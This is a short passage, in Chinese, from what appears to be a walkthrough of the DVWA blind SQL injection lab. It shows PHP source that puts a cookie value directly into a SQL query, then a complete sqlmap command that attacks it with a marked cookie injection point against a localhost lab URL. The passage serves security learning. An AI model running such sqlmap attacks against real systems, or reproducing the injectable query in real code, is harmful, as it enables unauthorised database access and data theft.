// 关闭数据库连接,并检查关闭是否成功
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
$id = $_COOKIE[ 'id' ];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
这里是从 Cookie 中获取 id 然后倒入到数据库中查询的,那么知道注入点之后依然可以使用 sqlmap 来进行注入
sqlmap -u "http://127.0.0.1:8888/vulnerabilities/sqli_blind/" --cookie="id=1*; PHPSESSID=ostjqce3ggb6tvlv55sg9hs7vi; security=high" --dbms=MySQL --technique=B --random-agent --flush-session -v 3